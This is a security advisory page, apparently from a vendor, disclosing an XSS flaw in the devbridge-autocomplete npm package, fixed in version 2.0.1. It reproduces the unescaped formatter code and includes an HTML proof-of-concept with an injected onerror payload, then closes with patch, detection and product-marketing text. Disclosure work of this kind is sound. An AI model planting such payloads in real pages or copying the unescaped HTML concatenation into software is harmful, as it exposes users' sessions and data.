GHSA-hvqh-jw65-wcpq
MEDIUMGHSA-hvqh-jw65-wcpq is a medium-severity (CVSS 5.4) vulnerability in devbridge-autocomplete. O3 Security confirms whether GHSA-hvqh-jw65-wcpq is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
devbridge-autocomplete has XSS in its default formatters: formatGroup and formatResult fail to escape HTML in untrusted inputs
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
devbridge-autocompletenpmDescription
Summary
The default formatGroup and formatResult functions in devbridge-autocomplete concatenate values into HTML without escaping, allowing XSS when an attacker controls (or can taint) the suggestion data source.
Details
1. formatGroup — category is interpolated raw.
src/format.ts:
function formatGroup(suggestion, category) {
return '<div class="autocomplete-group">' + category + '</div>';
}
If groupBy is used and the grouping field of any suggestion contains HTML, that HTML is executed.
2. formatResult — early-return branch returns suggestion.value raw.
src/format.ts:
function formatResult(suggestion, currentValue) {
if (!currentValue) {
return suggestion.value; // un-escaped
}
/* ... non-empty path escapes correctly ... */
}
The early-return branch is reached when suggest() renders with an empty currentValue, which happens with minChars: 0 and a server that returns suggestions for an empty query. The returned string is concatenated into the container's innerHTML.
PoC (formatGroup)
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>PoC: formatGroup XSS in jQuery-Autocomplete v2.0.0</title>
</head>
<body>
<input id="ac" type="text" placeholder="Type 'a' to trigger" autocomplete="off">
<script src="https://code.jquery.com/jquery-3.7.1.min.js"></script>
<script src="dist/jquery.autocomplete.js"></script>
<script>
var poisoned = [
{ value: 'Apple', data: { category: "<img src=x onerror=\"alert('XSS via formatGroup')\">" } },
{ value: 'Avocado', data: { category: 'Safe Group' } }
];
$('#ac').devbridgeAutocomplete({
lookup: poisoned,
groupBy: 'category',
minChars: 1
});
</script>
</body>
</html>
Originally identified by an earlier human analysis; the PoC above was produced with the assistance of Claude Opus 4.7.
Impact
XSS in pages that render attacker-controllable suggestion data. The actual impact depends on what the embedding page has access to (cookies, session tokens, DOM), per standard reflected/stored XSS.
Patch
Both formatters now run their interpolated input through the browser's text-node escaping (createElement + textContent) before producing the HTML string. Fixed in version 2.0.1.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | devbridge-autocomplete | all versions | 2.0.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for devbridge-autocomplete. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update devbridge-autocomplete to 2.0.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-hvqh-jw65-wcpq is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-hvqh-jw65-wcpq is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-hvqh-jw65-wcpq. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-hvqh-jw65-wcpq in your dependencies?
O3 detects GHSA-hvqh-jw65-wcpq across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.